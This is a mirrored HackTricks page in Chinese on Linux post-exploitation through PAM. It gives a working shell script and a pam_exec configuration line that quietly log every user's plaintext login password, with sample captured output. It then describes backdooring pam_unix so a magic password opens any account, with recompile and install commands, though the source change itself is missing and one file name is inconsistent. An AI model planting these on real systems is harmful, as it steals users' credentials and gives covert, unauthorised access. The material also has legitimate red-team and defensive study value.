mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
.. | ||
pam-pluggable-authentication-modules.md | ||
README.md |
Linux后渗透
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFTs收藏品
- 加入 💬 Discord群 或 电报群 或 关注我们的Twitter 🐦 @hacktricks_live。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
使用PAM嗅探登录密码
让我们配置一个PAM模块,以记录每个用户用于登录的密码。如果您不知道什么是PAM,请查看:
{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}
首先,我们创建一个bash脚本,每当发生新的身份验证时都会调用该脚本。
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
变量是PAM特定的,并将通过pam_exec.so
模块可用。
以下是变量的含义:
- $PAM_USER: 输入的用户名。
- $PAM_RHOST: 远程主机(通常是IP地址)
- $(cat -): 这会读取
stdin
,并包含脚本抓取的密码 - 结果被导入到
/var/log/toomanysecrets.log
中的日志文件中
要防止所有用户读取该文件,请考虑预先创建它并运行chmod
,例如:
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
接下来,需要更新PAM配置文件,将使用pam_exec
模块来调用脚本。
在/etc/pam.d/
目录中有各种配置文件,我们选择common-auth
。
sudo nano /etc/pam.d/common-auth
在文件的底部,添加以下身份验证模块:
auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
这些选项的含义如下:
- optional: 如果出现错误,认证不会失败(这不是必需的步骤)
- pam_exec.so: 这是可以调用任意脚本的现成 PAM 模块
- expose_authtok: 这是通过
stdin
读取密码的技巧 - quiet: 不向用户显示任何错误(如果有什么问题)
- 最后一个参数是之前创建的 shell 脚本
最后,将文件设置为可执行:
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
现在,让我们尝试一下,从另一台机器进行 SSH 登录,或者本地登录。
然后查看日志文件:
$ sudo cat /var/log/toomanysecrets.log
Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149
后门PAM
让我们进入PAM的源代码(取决于您的发行版,选择与您相同版本号的文件..)并查看pam_unix_auth.c文件中的170/180行附近:
vi modules/pam_unix/pam_unix_auth.c
让我们通过以下方式更改:
这将允许任何使用**密码"0xMitsurugi"**的用户登录。
重新编译pam_unix_auth.c
,并替换pam_unix.so
文件:
make
sudo cp \
/home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \
/lib/x86_64-linux-gnu/security/
{% hint style="info" %} 您可以使用https://github.com/zephrax/linux-pam-backdoor来自动化此过程。 {% endhint %}
参考资料
- https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/
- https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9
从零开始学习AWS黑客技术,成为英雄,使用 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 发现PEASS家族,我们的独家NFTs收藏品
- 加入 💬 Discord群 或 电报群 或 关注我们的Twitter 🐦 @hacktricks_live。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。